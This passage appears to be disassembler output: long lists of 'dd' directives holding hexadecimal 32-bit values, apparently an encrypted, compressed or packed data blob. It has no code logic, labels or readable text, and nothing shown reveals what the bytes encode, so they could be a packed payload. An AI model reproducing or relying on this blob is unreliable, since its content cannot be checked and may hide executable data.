273C2FBEh, 95334222h dd 0EB113FCCh, 2F69AC2Fh, 9A59C680h, 0CDABA4CDh, 0F929B8B0h dd 92C8A1EAh, 0A354BD55h, 552622F9h, 476DFE82h, 4C4162FAh dd 81B7BF1Ah, 0C19E0F64h, 577208EAh, 0EB9DD29Ch, 12E4F417h dd 0E4398DEAh, 926A5143h, 3FF6F23Ah, 3EB0FD84h, 6904547Ch dd 6E59B2Eh, 420DA4AEh, 0A2A5A8DBh, 0C78C9C76h, 10952001h dd 0DB6144A7h, 962D38A9h, 43BD1F43h, 0CD9AF4F8h, 0FC9CF595h dd 23E2A62h, 0E72DDB0Dh, 6A8603E3h, 39B429A8h, 0FFB35F53h dd 5DD95B63h, 1301D96h, 81D514EEh, 0B479D29Ah, 0EFE0B043h dd 0A8F6FB65h, 12BC9F94h, 0E3D0EDBEh, 7286818Eh, 60AC8C81h dd 23DB8762h, 0B230E748h, 98E79582h, 84E6E50Dh, 6AB32FFh dd 2BAFDF83h, 616EF555h, 5400449Ch, 58B43BD6h, 69BB5DEBh dd 0EA6B0456h, 3FC0ADCCh, 88971F15h, 79515D7Dh, 0B2028EC1h dd 7C07F040h, 916FA5B3h, 0DBBBDDA9h, 8F7C309Bh, 9E2C2CC5h dd 0F4D1B47Ch, 328A5A88h, 0AB157039h, 7F78119Eh, 0F7A2361Dh dd 0AE318500h, 0F03E3A4Fh, 372DDCB7h, 27BA6D66h, 0CA7D4EBDh dd 26C5C1AAh, 2469E647h, 5B38E3EAh, 82D422C0h, 957426F8h dd 5A25A7A5h, 7E1CA1CEh, 0EAA2E211h, 34362061h, 54AFAFFh dd 9A2700FCh, 1CECAFC2h, 0EB770FE0h, 60DB5AD5h, 0EE5B7B71h dd 720C9135h, 82B43BE6h, 8A486A42h, 2F8196F3h, 1663F8C6h dd 79F8429Fh, 71C2DAFFh, 0EC389F39h, 0AD7A4C09h, 8D0B25FBh dd 3C21C1A0h, 2BDFFBAEh, 3249EED7h, 0FBAA332Fh, 3522938Ah dd 0F4237EEFh, 49D0FB3Eh, 0B18CEE37h, 901ABFD6h, 222B13Dh dd 7A1CCF09h, 4B8D5EE9h, 0BC4C0A1Fh, 868B26F2h, 4F9CAD11h dd 0E6B25992h, 0BC5A53AEh, 0C51764DDh, 0F339FCF0h, 0BAE72C33h dd 474300D9h, 80B0F334h, 2CB4895Dh, 42C366C2h, 8EE7FAA2h dd 541E2FBBh, 0B0D516D0h, 190C448Ch, 15047513h, 0F72335CCh dd 8D118721h, 5EBFC9B2h, 0BE53F821h, 4AA900CFh, 16D02CD2h dd 0BD21A9AFh, 0ABCBA70Ah, 0A795EF4h, 7B22A5C8h, 95B3A861h dd 0AB3708CFh, 520DCCBh, 0B8CB87Ch, 0AB6A57C8h, 657A8B3Eh dd 0BB7D933Ch, 0DC0C86C3h, 92B3DB32h, 63AE71F0h, 9393FEA2h dd 227F1FA1h, 0AA27D57h, 31EF1708h, 8586DA8Bh, 7B864DA1h dd 0C9411CA4h, 211F472Bh, 0E6A42650h, 7C064E9Bh, 0E1781163h dd 524F8273h, 304A4E96h, 15ECC49h, 970E2C1Ah, 3C954D13h dd 74209082h, 0A9C8B25Ah, 2F701268h, 21B4D03Fh, 0AA28E3DDh dd 656E13E7h, 4C227103h, 9F881842h, 4C06C803h, 1C2A075Ah dd 1D1D5CAEh, 0D143EF31h, 6F15819h, 0D2C43B96h, 68C3FD3Bh dd 40C53D80h, 4FE7A459h, 0A27A8E35h, 0C30AC01Dh, 0FCBC1324h dd 209D1CFCh, 0EE146061h, 322201BDh, 0A01854AAh, 2F808A98h dd 0A34A86EDh, 5BA7CDFDh, 0DCB18B27h, 0EA920B35h, 9F6B563Bh dd 0BB504F31h, 0B0050A53h, 190AE5F5h, 3B31FABFh, 877709B7h dd 71684283h, 852D17F7h, 0F89EBC57h, 0AF683538h, 810033EEh dd 55110489h, 0ADE0E7E1h, 0FE7B91AFh, 0BC84D3B3h, 2C3D20A2h dd 0DCF929B8h, 2CA61166h, 9766FD95h, 63048CBCh, 0D4CE2FAh dd 0A65FDF38h, 0A34B1947h, 0BFE1069Fh, 2A0E62C1h, 6CCDCFC4h dd 48D01B39h, 1F714196h, 16A1821Dh, 305BF42Bh, 0E2357F99h dd 0EBCD8050h, 9B1C7D3Ch, 4E571CE9h, 8348FD7Ah, 54E88979h dd 66F18677h, 7E2AD87Eh, 1586FEA1h, 681BD7C1h, 0DC7C84E8h dd 0A76FA8A9h, 0BFDF881Dh, 1E91091Eh, 3B41A788h, 15A3122Ch dd 6049DBB2h, 2C525A36h, 677D2B4h, 0E917B577h, 672C93ECh dd 9DCDC4CCh, 833EB4F3h, 44FFC7AFh, 89B1FFC5h, 2330F17Bh dd 0B17BAD48h, 0C4C90643h, 94D9A02Eh, 26BB2F99h, 0AA53DB2Bh dd 0FF82C177h, 6BB8989h, 0D28D7441h, 8B1DBFDEh, 9F462F33h dd 99922BE0h, 0DBCC0988h, 8C6E101Dh, 0AA75EB84h, 0D68463D1h dd 6BFF8D5Eh, 0A2F07B0Fh, 29CB2760h, 0C396590h, 777E5F3Ch dd 22A15116h, 64FD9A98h, 0E495B736h, 0B45745B1h, 0E9B1BDB0h dd 8FBB0C49h, 0FACF3B44h, 0A324313Eh, 930A85C8h, 3040B608h dd 8CFB12ACh, 7BEAC519h, 0D0D3370Dh, 9667014Dh, 0B03629E1h dd 0A829CDEh, 0B5341045h, 59B92A43h, 0CB1C360h, 0CFE5BFFDh dd 0F6DDE94Fh, 353F05ABh, 0F0351164h, 5F0C090Dh, 38DD7BF6h dd 0F882A2A1h, 2808AE34h, 54220541h, 2D5B13FDh, 0A5B63E47h dd 0CAF7B678h, 0D9A391C6h, 0A6C8FD0h, 486B25ACh, 0F553238Ah dd 8477EB04h, 2000D8FFh, 31E335F7h, 9C2A0CF9h, 0E99C1BBDh dd 0DD7732ECh, 0F0264745h, 8470C92h, 56864898h, 0CF91FECBh dd 0C0DE294h, 46F636C3h, 53D71774h, 2D6F55EAh, 0CADD0A70h dd 33FF9A8Bh, 7F952070h, 0FD524C47h, 25D7DA89h, 66991542h dd 0BB055027h, 2E1E2935h, 777F3E1Eh, 16D4DC7Dh, 8316C322h dd 69B10E46h, 0D85537D1h, 0F5DCCFDBh, 0C0C20549h, 3357D80Ah dd 92378EBDh, 615E83EFh, 441BE22Dh, 26551B96h, 0B2A59545h dd 1CCFB37Ah, 0A66ED292h, 9349EB76h, 0ABECD98Fh, 0B04C367h dd 0E82F042Eh, 240F91BFh, 2889780Ch, 7FE8744Ch, 5DEDEBA1h dd 9D972094h, 2AEEFED7h, 0BCDF2747h, 0DAA8DF8Bh, 0B80975AAh dd 6AEF41FAh, 59573578h, 0AAEB3DAh, 0E671DDDCh, 3893054Ch dd 94FA7A85h, 80BC9FC5h, 88479E5Eh, 0AACA7287h, 731D8F42h dd 64697862h, 0B0A968BBh, 71B1A9DFh, 76A9EFEDh, 8CEAF5D2h dd 8323A51Fh, 7A964AC9h, 5800BC48h, 8869414Ah, 0B6819579h dd 427868B0h, 0C1E2CDBDh, 301C79DBh, 105A60C9h, 53FD0C8Ah dd 2D8D3347h, 514CBA2Ah, 0F0F872E6h, 0F63CD057h, 0FB7271FAh dd 6A0ACD0h, 0C99AE79Ch, 0BF21ECF6h, 0CF4C0FEFh, 4855C130h dd 0FEE3809Eh, 182179E9h, 94F8225Ch, 3535425Ah, 8366BFACh dd 660CC093h, 3A506DF8h, 0F39B3227h, 0F6395462h, 9F536E69h dd 238956DCh, 49B5FC17h, 62F5C057h, 42001B01h, 5E34572h dd 3642CC10h, 0A7F29431h, 0BC4DDD84h, 8885B5A9h, 0BCEFC7B7h dd 1BAAC896h, 34D91A54h, 93593815h, 74A8F7EEh, 0A1AC927Bh dd 8E12CDD1h, 23BE03E8h, 94F680D1h, 70C83A94h, 9D615405h dd 4F090368h, 0DCE52CA6h, 89B81D9Dh, 0D3F3DC4h, 0F36096Bh dd 8596DC3Eh, 7DDD22CBh, 25DCD63Eh, 722DB78Eh, 73C3D00Eh dd 56FDCE6Ah, 122ACA44h, 1863FFF8h, 0BCBA792Ah, 9C4384BBh dd 0C2BF5D54h, 0C2B5545Bh, 0D436B925h, 6D0BFCAAh, 45621F04h dd 0F02457B6h, 0A1BBDD63h, 0C0554E58h, 59E96FB4h, 23387457h dd 0E607487h, 529F16B3h, 0A248EBBEh, 0C8B837DDh, 429799AFh dd 5E464CB0h, 1882AB65h, 984A9B0Dh, 82A6C37Ch, 30E8375Eh dd 3A6DE49Bh, 0C419F337h, 41AF363h, 0D932B40Eh, 0E6D75DABh dd 20DFFA1h, 0E78AA82h, 852478Eh, 55F60EDFh, 5E8DA189h dd 406933FAh, 0CA9C12D2h, 6E9AEDA9h, 25F72B18h, 89EBCC63h dd 0A85CDA1Bh, 0BE2947C0h, 2C620B06h, 19CD5ED4h, 0CAEEFB86h dd 2D87288h, 0A6AFB412h, 6769B641h, 15BA412Ah, 5CE4C6F0h dd 0A20543EBh, 7FDA0241h, 90B75CF2h, 0E1209588h, 0E48343C7h dd 23FAF384h, 5BBE554Dh dd 365DAF39h, 0F80D420Bh, 2AD7DCE6h, 96942A02h, 2ACFBA92h dd 39E25CC1h, 0ED060D68h, 503FA695h, 5E2F4DF9h, 2D4D6EC4h dd 12F0C12Dh, 817F8E1h, 0A0DBF124h, 11EFCA28h, 15B33B2Eh dd 9EB8BDC9h, 0BE95D027h, 523B5E24h, 0AB610215h, 763DE576h dd 0FAAF5C67h, 6CEE96C2h, 11C9C056h, 62498A24h, 0B7943EA6h dd 29B8CBF2h, 72CB5AD0h, 0E8F22E0Ah, 47EFC5A1h, 9595791Ah dd 401E7B8Dh, 59442FA2h, 7DA9E188h, 22AF64FBh, 0FE2CFCDFh dd 0D655C3E1h, 5137F866h, 1371176Fh, 75C7D0BDh, 0F0224B3Ch dd 554FD3F7h, 75B169DBh, 9359C21Ch, 1F98239Ch, 5C11A4A4h dd 0CB70F4E1h, 493EB938h, 9CA7CB8Fh, 0B30D59F4h, 78AF44AAh dd 377136E1h, 17504020h, 0F8AB38E9h, 0FC384F43h, 8E9F9567h dd 37B64F30h, 8EEBD8F6h, 0A4AE6E23h, 1C1282E9h, 26B6964Bh dd 57133B65h, 538F4224h, 0B60F7BA3h, 6AE0CEEAh, 5EBC401Fh dd 0EBCC02E6h, 0B52DE2F3h, 2F3CF288h, 2F68E508h, 6032B051h dd 376026FFh, 3C9BEF29h, 358DB43Bh, 88D62D33h, 0C16A45BEh dd 9DECDAABh, 0CE9BBDBFh, 47A9979Ch, 85671148h, 0DF02F10h dd 34134284h, 50E14BA3h, 1124D1A7h, 0C791D0B3h, 0DF0D18Bh dd 0A9503979h, 0BD836997h, 0BE781000h, 0FEA56B5Bh, 48F2BAAAh dd 2EE06DAh, 9A8D049Ah, 0DEDF15A3h, 9AFBF8DEh, 63E4EFEh dd 0C87F94B8h, 0DF507D39h, 66D783ABh, 0B3D11A52h, 9CD90D02h dd 98224194h, 665397B9h, 7773D822h, 9E6BC13Eh, 6DA155A9h dd 9CB39B70h, 0AB575D09h, 0D120500h, 9307C8E2h, 70BC4A19h dd 1F68EB6h, 4826E6FDh, 81907DF9h, 0B4D2584Bh, 0B3C30C9Ch dd 1B396BAEh, 0C8F486A7h, 0DC5C1A78h, 0C425C5FDh, 46941F56h dd 0AD7FFEB6h, 0EC262539h, 78FCBF09h, 82B8E6Eh, 0B13CAA2Ch dd 60659887h, 5BBB8113h, 0C951FBE8h, 0E3A89475h, 0E71FDC0Ah dd 0D8DD0EB2h, 0E732BBC7h, 8BC74712h, 0E9CCB2Ch, 0EDD3EB6Bh dd 7642063h, 0D736C51Bh, 0AB011889h, 89B34A03h, 1ACF48B9h dd 3DF663B0h, 0B723299Ah, 3D74FBE4h, 0E9h, 68000000h, 0EBD2A292h dd 61BBF073h, 49E72B68h, 0AC0A0DC4h, 0AA1ABF9Dh, 0DBB395D0h dd 3BF0111Ch, 380DE4BDh, 1C83A46Ah, 80FF4Dh, 2B019195h dd 0DA676C3Dh, 2A3A45FFh, 0BB6F84FBh, 0EF9D1EF8h, 0C1BAFD85h dd 51371141h, 7BD4B72Ch, 20B9B475h, 0B0D6EC79h, 5D5EEC87h dd 0C9E61625h, 8600E76Fh, 80D9998h, 0E6DA5554h, 1C6606ECh dd 289DD380h, 90A6978Fh, 6F3B4585h, 0F430844Dh, 0D0A96D74h dd 31DB9F50h, 756E6F7Fh, 1412C188h, 0CFB58B73h, 84F277E8h dd 44119220h, 0DCE26452h, 9DF51DF5h, 8B2B3967h, 0CEBF1834h dd 0EB466CFBh, 96937894h, 7318393h, 0A8D7865Bh, 175054B4h dd 58C8BD84h, 64AF83D6h, 0DFFD6EDAh, 2AB62EAEh, 0B21EDFC0h dd 0FA191B9h, 0D61BC74Fh, 0A114E0F2h, 9ABA5029h, 0D89E2A9Bh dd 0F4E57306h, 0CFEB555Ch, 9E8E68DAh, 99915CB5h, 5DA9A9C2h dd 46CEF7D5h, 7870F677h, 0C48A9690h, 7478A616h, 0B503AB80h dd 2DC08007h, 0D6BAFA0Bh, 9872A2B3h, 133D83D8h, 0F20BDC79h dd 2DC1AF66h, 6E68F8E3h, 1C40CECh, 74C9DB06h, 0C5CCD3E5h dd 8DB85BAh, 57892299h, 925E6F86h, 92CA3F7h, 9CCA935Fh dd 0ACCE6D92h, 10B45496h, 0AAA54358h, 23C2EADh, 5DF3419Ah dd 0F74806F3h, 0C49D2CD4h, 56B026D3h, 529103B0h, 86072EF7h dd 0F06AEADh, 0D41F324Fh, 0CCB938CAh, 0B1D7B37Fh, 0A3ABB83h dd 0BA63E1EEh, 4D95DA60h, 379D0994h, 52E7AA3h, 3236C63Dh dd 68E060B6h, 0E331E874h, 597E0EB7h, 0BC0291E1h, 0E9F31835h dd 4CBF110Fh, 0AE0D89C4h, 104E5754h, 3746CFAh, 0E65F9D3Ch dd 1A3781D4h, 55EEA649h, 96071470h, 0B7DD0EEh, 534A3300h dd 8756FB6Ah, 20EFC2E1h, 0CD5F76C6h, 0ABEAF204h, 5A79DB56h dd 915A6F11h, 0FCB37B4h, 79FED7DEh, 5AD71EDEh, 89005236h dd 0E44285F4h, 9708FEFBh, 89214121h, 80CD005Ah, 0D10D25B4h dd 0EAD4D87Bh, 2C4676E0h, 21744F9Dh, 3019CC28h, 19EB1FCh dd 83133536h, 0EF4136Ah, 0ABF8CD36h, 0F21A0C0Dh, 1705DF69h dd 7A8CFE31h, 75C3779Dh, 7FB8A04Fh, 5CEFA28Dh, 2104F48Ah dd 0AD489808h, 0EA93C30h, 3055AA40h, 0D0F433D5h, 908948Bh dd 4090450Eh, 0B50C2D89h, 80F552F3h, 0EA83C370h, 0E59BAA84h dd 71568AB8h, 0D3A61EA1h, 0A4CA5DFh, 56F85BE3h, 0DA25ED05h dd 29DF6159h, 61218B55h, 26A0962Fh, 0C96103E8h, 92E34819h dd 0E71DDCBDh, 0DC57DE8Dh, 390A9BE6h, 8F4CBA5Ch, 0D90BAF8Fh dd 1A3B556Ah, 95082DBBh, 6A316520h, 410C0E22h, 0A7A58267h dd 79692BEAh, 9FEE98E6h, 0B391745Bh, 2831EB59h, 0D41B12F0h dd 5E53D71Dh, 0D2679114h, 0F0F038CAh, 0CFA74AF3h, 0BED65211h dd 0F5D40995h, 588F808Ch, 4155E3FBh, 9F384CFh, 32E6EBEh dd 9AE39F5Dh, 0B74B3634h, 6FCC1568h, 0E323272Eh, 7FAE8F42h dd 0C7F3E9FAh, 29CF4DA2h, 112750CBh, 0EBDF4BFh, 2FB0670Ah dd 89127A26h, 0A536DF97h, 4AA4A14Dh, 4FAAE002h, 1B99CF8h dd 2D4A53E0h, 0B91A6FAFh, 0F4C680D7h, 24236AD5h, 9985782Ch dd 2FB051BDh, 0C14C856Dh, 0DA277936h, 0A478D584h, 3FAFBDFDh dd 572C3C8Dh, 219B3BA8h, 5CA5D49Fh, 23C046B8h, 93B1033Fh dd 0A7C0B4E6h, 0E9F68A6Ah, 0CC6F8300h, 0C7BFDBF1h, 0F5A3FEC0h dd 2A1D34B3h, 843C90EDh, 0A7B427Ch, 0C41B2EC5h, 29025B78h dd 7EB743C1h, 0BB5F4EE6h, 1D8AA30Bh, 83BB054h, 0E4CF9546h dd 0DFBBEE4Ah, 0F9B88E33h, 17C454C1h, 0B0A58096h, 84CC1A51h dd 9DEF8B75h, 0C49E5FDFh, 597F5A3Bh, 55625179h, 0FF11331Ah dd 1D324053h, 0E0897371h, 83F1EAC2h, 20257C4Dh, 0D761C1F6h dd 3C1BAFE2h, 9C421BD4h, 0C7A96F31h, 43ED0EA8h, 0FD208C1Bh dd 0F1C6FD0h, 0B163C6B1h, 63375E19h, 0A5EF07D9h, 7C00707Bh dd 0E34E01FAh, 0D0D18567h, 1134F449h, 0AE002529h, 0AFE4AFF2h dd 0D769306Eh, 2457A4DDh, 3C19F7E9h, 0F82A8667h, 0E8624124h dd 733FAFB0h, 47A9853Ah, 451D885Bh, 0D1445552h, 0B970CFB0h dd 8D3ADDCFh, 0D325D9C0h, 54ECF7EBh, 330A2737h, 8FE6630Ch dd 6CF693FAh, 0DF7DC574h, 4AB4444Eh, 0BD3CE891h, 1AFC9BEEh dd 0DE8643C4h, 0AECEC134h, 0F362CBB8h, 2C9AAF8Bh, 7E501680h dd 2F7C3268h, 0F3C66511h, 0FCB4A22Bh, 4876BCF3h, 0FBAEA43Fh dd 91B5B82Dh, 0BF17C1A6h, 0D83B2AEAh, 0A903F3E0h, 76298F10h dd 30A38D5Bh, 0E5DEAD56h, 258654B2h, 62FC42D7h, 2D304633h dd 1C2CE6C6h, 9237A13Eh, 7D7BD4D0h, 2ED17C4Dh, 2122F3B8h dd 0CC1205A2h, 0FA71EB0h, 8360B82Eh, 0E988D5ABh, 7BD2EACDh dd 0C8F2BAFEh, 3AB40E28h, 50737170h, 14DCEC83h, 0E9F22E8Dh dd 0BDBD268Ah, 28E5DBCFh, 2493BB26h, 0C0E7241h, 56F9876Eh dd 5D1252Dh, 403F478Ch, 0C0BC930Bh, 89DBA8C0h, 0C126DCECh dd 8E291102h, 0C28F50E1h, 26DC4040h, 0F41D4F73h, 5D143545h dd 0F920197Ch, 0AE629B4Fh, 0D4D22795h, 6D214B25h, 0CA03231Ch dd 15AC59BAh, 0E5CB764Fh, 3E7C430Ah, 0A94F6A7Ch, 0D6367723h dd 0D99F275Eh, 0E096EDDCh, 3FFDBE68h, 0F7C1C7B4h, 0E12E8968h dd 900D46ECh, 60954B2Ah, 59EE8415h, 7BA36082h, 0B4E456D0h dd 0D9869AE7h, 867A71F9h, 0B97C6BA7h, 4A8FFC3Ah, 55BE3620h dd 3B2832F5h, 0F504A895h, 0ED7A0CF4h, 15591524h, 89B80677h dd 6A093B4Ah dd 34A443D6h, 0C314F7DBh, 7371926Bh, 8EFF5FA8h, 0C959C49Bh dd 0AC808711h, 98AE165Eh, 0F936D679h, 2F58CDF0h, 40C3A448h dd 0EFBFC25Ah, 0DABD3CF9h, 0AEA6392Bh, 17723C34h, 3E5A7739h dd 67F62D5Fh, 0F102D5F1h, 0EB04466Dh, 0AEEFF9A8h, 2A189BFDh dd 8A4EB553h, 1EB7EF29h, 48A55591h, 0B4AE7215h, 99E94F14h dd 521D0565h, 49023409h, 1FD9C736h, 7478CB8Ah, 0F638B7B0h dd 366E80E7h, 4846EE34h, 90852744h, 0AA030D74h, 696D28B8h dd 0EFBECECEh, 0FA20A8D7h, 3C6B9B7Eh, 23599E2Ah, 65DF0A11h dd 1E7E047Bh, 92CDB20Fh, 2A0170A1h, 0F05B2FC1h, 8D953B92h dd 194AC8C5h, 1545CF28h, 0B7A675EBh, 576C5C00h, 0F5BDF1DAh dd 0A42E4760h, 0D6A048h, 0A57DBBCDh, 0D44882CAh, 0AA2C4033h dd 460F7693h, 322DC756h, 0EB8270CDh, 72473F74h, 1AED9B08h dd 567FD464h, 0A3CACF3Dh, 604A6238h, 0F026F2AAh, 3DBCD6BAh dd 35B6B1B3h, 0CABEC2A9h, 0C0E6CD1Eh, 2D0027D9h, 0E695965Eh dd 0EB757E77h, 0C730F12Ch, 1CE33366h, 6C186089h, 0AEC4F352h dd 78F82849h, 1AC5E8DBh, 0AEBB7B53h, 8CBB8F37h, 14BB06FEh dd 0A3CD5874h, 0FF0EC8A6h, 395E2FFBh, 113D6E1Bh, 67DFA257h dd 0BBA9F5A6h, 0E602A38Bh, 115042E8h, 0EDE49EA3h, 796056D4h dd 67A95C8h, 5205D857h, 0C116DE5h, 227F2233h, 0E39F062Dh dd 6362FA57h, 0AA5D57CDh, 0D014F404h, 0C628D9Eh, 4F6DE3B1h dd 1F8FACCCh, 0EC8EDB9Fh, 0E670669h, 6BFBC4FCh, 8D0E0AF2h dd 0CF57F489h, 190C6804h, 37D05449h, 0EEACEB8Eh, 46034A42h dd 0CF33E23Bh, 613094A6h, 0A0DC315Ah, 7212D385h, 62C3ACF2h dd 0EA7C59Bh, 0B964BFC7h, 96BEBF9Ch, 693F83CBh, 0D908AB7h dd 7A2807BBh, 0DCD73B02h, 0E60E87C6h, 123B6FF9h, 51A3F064h dd 490B4DDDh, 0A8CCF0CCh, 0D3F3DAEEh, 0AB6B0776h, 0B4B33470h dd 48396DB0h, 0D85D9E4Fh, 30E3FB4Dh, 0A6DADC7Ch, 2C6E4C95h dd 37FA28C3h, 0DED1512h, 69C908C2h, 54E75551h, 0F08CA176h dd 0D9FA05BBh, 952CF5B5h, 35B6056Ah, 0AA3969D0h, 538CAB96h dd 694121E5h, 6EDF30D4h, 0D07196F9h, 0A2784117h, 0D650B1Fh dd 91CDE57Bh, 5A22D754h, 0A383B2A5h, 0CDEAF197h, 9A0B7D70h dd 0C50FFD22h, 5C195656h, 91BA84DDh, 245AD2F6h, 9B401183h dd 5C78B7BFh, 82D571A3h, 0F9B6FDD3h, 3D2CE0E9h, 14001E8h dd 5EBBD9FFh, 0EEF8D51Ah, 64162FC3h, 1B8F7EF4h, 9BE0E2E6h dd 0F2B87B4Ch, 0ABFC5DFh, 88CEAED2h, 15007C85h, 84BCF78Ch dd 3C27FB48h, 8D9C626Ah, 8764F9D9h, 904965FBh, 81C65387h dd 4733CDBFh, 0CEDFC703h, 0A695FBC0h, 67316F4Bh, 0F907E024h dd 432D484Dh, 0A429403Fh, 0A58305C8h, 0FE148252h, 0A2DE5265h dd 0EEB8FE58h, 0F608A14Dh, 8CCBE7B9h, 3DF28727h, 0CC35FACh dd 0BEACDF2Eh, 10061AC2h, 0A848F1CAh, 6C347B1h, 3E654A8Dh dd 0F9C6136Bh, 9EEFEB96h, 44C64876h, 6A84C8C8h, 175E99C1h dd 5E84AE8Ch, 2BE6BA75h, 10A62C55h, 629FD6ABh, 307B9972h dd 88D33543h, 446D1332h, 9A2293A7h, 1CE8BC62h, 9F436E62h dd 3E55434h, 192899C5h, 546D7D55h, 0BB7D407h, 0C0F509EBh dd 0E29BFFF4h, 0C72C37BCh, 68E94D68h, 632F31C1h, 9FEDB8F4h dd 533522F1h, 3E2106Ah, 1672ECBEh, 0CD45F9F5h, 370EB257h dd 0AE394145h, 3EF93D6Ch, 0CD05F79Bh, 877061F4h, 0A8F0488Bh dd 0ADCAA667h, 7CC19AF0h, 54064C1Dh, 4B7FE623h, 0AE42B4D3h dd 0EA1C47D3h, 6FE90B4Fh, 3196B2DAh, 243E7511h, 9C1BC549h dd 0C41CD04Eh, 6BA1D9Eh, 47AB988Ch, 86C5D297h, 0F942DBEBh dd 37DE7DFDh, 0CEE2695Bh, 8AE84D4Fh, 0B6EF357Fh, 0DEB5C430h dd 995E8EA6h, 0BF0DA9A4h, 0B6675D11h, 7FC09Dh, 0A5FB8000h dd 5A936F4Dh, 1ABB2D0h, 21299A45h, 0C5FFAEBAh, 0E3D04E5Eh dd 88817AC2h, 58F26BE4h, 0F9DB655Ch, 8B711077h, 0E6807870h dd 0D55BF85Eh, 21B77ECEh, 0E6D406EFh, 12C8A2C0h, 0CFD27066h dd 1CF481B1h, 90A7E747h, 0C2DA6F2Bh, 7895C27Eh, 0A7EBCDE8h dd 63CD6921h, 0A3AF14EBh, 16FC34C2h, 7A84D38Ch, 7C1E645h dd 0FB01824h, 0DA559262h, 803C0337h, 733ADEE7h, 0F3DA58A5h dd 6F6A79ACh, 13E63772h, 9F7AC63h, 7627BEC0h, 6570062Eh dd 160AF401h, 43555099h, 6F0B2724h, 0CE8EBAB2h, 0EBFB079Bh dd 0FF531BF5h, 0A0B3DDAh, 7B99361Ah, 0E29C98CAh, 507765EBh dd 82F8DB02h, 30B8499h, 0B47472F5h, 280826A5h, 23D2B449h dd 0A1E9BEBDh, 0FFCF6090h, 7AF17E05h, 0DB63DD0Eh, 0B581F11h dd 6D8EDEC4h, 648EFE3h, 0B787F612h, 0DA39F328h, 2807306Eh dd 773A9DB9h, 83259D66h, 68939F58h, 1A24E136h, 6A1993F3h dd 8D44F8BFh, 28296BBh, 765B68D1h, 0DB9C85E1h, 0B85047DBh dd 833BA83Dh, 0CD9CF3B6h, 0BFEA1187h, 268270CDh, 0C68E0E60h dd 473FBB86h, 0B2F7A1E0h, 38BE12C4h, 612FD60Ah, 0BE8A3023h dd 0FD9CA6D6h, 92F533D0h, 0D9B8A514h, 0BF7F4988h, 0DEFC0D73h dd 317EC6C3h, 98871B4Dh, 0CE246B72h, 0A0758F8Ah, 4898E155h dd 0C6C4CFA3h, 0B053CDE0h, 3CE254D7h, 0D89BAF81h, 710935CDh dd 0ED2AD117h, 0D4E5DC9Dh, 0EAF5C92h, 0DBDC7A67h, 0AEDED1C7h dd 5EADE922h, 9B6D1D54h, 3902EA81h, 7A94526Eh, 0F3CDF943h dd 0D1C0512Bh, 9127FE0h, 0BF4E30A1h, 7C8CB3CAh, 6DCDA138h dd 0E4062D5h, 7DF54ACBh, 6423F8A0h, 4267FADEh, 2B7E0AAEh dd 5541E214h, 3FBD9AB1h, 0A40D1640h, 128ED0F4h, 0B017F319h dd 0A811C58Dh, 0D24EEFCDh, 29BD2127h, 85DFA282h, 6ACF0799h dd 0EF108D66h, 9A0FE382h, 0AE2253Bh, 15E52B8Ch, 65BCBB0Eh dd 811BC359h, 0A8CAE62Ch, 0EC3E1538h, 0AE28A9C8h, 21189E00h dd 32446C45h, 0C953360Dh, 0B0D2F51Ch, 3F33D55Dh, 0FEEC6A28h dd 0A0F009EEh, 7C7BAF0h, 0BB69C2AAh, 6388DC72h, 71AD33Ah dd 39E6E307h, 2AABC5E0h, 0F586D8AAh, 0B7C5C840h, 0AE6AE4B9h dd 5DA039B1h, 6FDA0B0Ch, 0BBBED7AAh, 9B1A2EF7h, 2DEF67F5h dd 5D05DE1Ch, 611B463Eh, 682E6655h, 7F2C0242h, 99CE27ABh dd 70715231h, 15A6CA0Bh, 0F4A5FBCCh, 3E42C1AFh, 0CF1C25D7h dd 8B5C6B24h, 20653928h, 7189CF9Eh, 80FABD3h, 0C4BF2C2Dh dd 0D7D0E51Dh, 8813342Fh, 0FB30B1E1h, 0B76A8872h, 816F25BBh dd 0BE51C313h, 528B97F8h, 89B113EBh, 848B9350h, 783F49D1h dd 0C980F8DDh, 8F042D09h, 4CE8A5h, 0C2B9F444h, 0F5975D6Fh dd 5173907Fh, 0DECC077Ch, 4F5E370Bh, 0D5F9ADEEh, 6A08EC6Fh dd 872BE4E9h, 3A8D2195h, 21E4552Bh, 0F66BACB0h, 7663E02h dd 0D445DC38h, 6B83662Fh, 8E78B05Dh, 60B80BBAh, 0BE80021Ch dd 0FC10667Dh, 0A911B04Ah, 5BC07DC5h, 24531309h, 0A47E9A04h dd 0A2593AD4h, 8A65B4A7h, 0CB30EC54h, 98238DDBh, 0FF140FD6h dd 0C055546Ah, 505C1464h, 8D193567h, 199EAEB4h, 7606EFB2h dd 0EFC5A353h, 0EF851DF0h, 75FDDC3Eh, 3F5EB00Fh, 0B0D6D99Dh dd 6AF64966h, 587497AEh, 763D2845h, 68437993h, 84EFFAD2h dd 356441BCh, 40289DC5h, 0F3FBAD68h, 2A9F7700h, 57CF037Ah dd 0F9016580h, 0F1EE873Dh, 0D2540F2Eh, 0DE16A8FBh, 0B6DD87F2h dd 8713BBB0h, 8A31C4B9h, 7964CDB7h, 0FF1EBDC3h, 0A5E7D23Eh dd 0C04A77CEh, 0CE236D06h, 1A64D801h, 9B14D4B6h, 540D217Ch dd 0FECD5C0Bh, 24A22307h, 14C5754Eh, 0D8E93B06h, 0F6CAB5D3h dd 0A7E97688h, 0F05BA82Dh dd 8A5980BFh, 490624F6h, 9FA5EB03h, 202E6F3Fh, 5E39BCFEh dd 0F99CF5B8h, 0A0EDB4A2h, 0D12B41B8h, 0E3FCA0ADh, 10A469Ah dd 2D47152Bh, 0ED566950h, 3D49E251h, 37EAA0ADh, 88C1E687h dd 673B26A8h, 32727847h, 0AA1122D0h, 0B0C0A23Dh, 540748F4h dd 5EB9B779h, 7A3E19D9h, 0F6ABD9FEh, 6B3DC5B0h, 917564Ch dd 538481D8h, 647EF3A2h, 0CA364A75h, 0C36C4334h, 0CB5DF822h dd 92808994h, 0B8AD302h, 0EB556ABEh, 674AC31Dh, 0BF719474h dd 0FEA21AF0h, 3B76FCFAh, 0AD769327h, 0E7ECCF44h, 9D497564h dd 0A696659Fh, 98FC0F6Ch, 2C19A83h, 524034CBh, 76AB1876h dd 7DDA6FB8h, 8AECD321h, 7E4D67C8h, 3FC9BF6Bh, 9D353D45h dd 0BB73B09Ch, 0C317119Fh, 1F21B7D6h, 37621778h, 0A5B4B78Fh dd 261A6C98h, 3B2EE695h, 24D45D30h, 0E1C4C12Eh, 5A28C414h dd 9E02F198h, 0FF2740F9h, 2BFE2B91h, 9A22568Ch, 0A83A339h dd 0FECC37Fh, 61DCF315h, 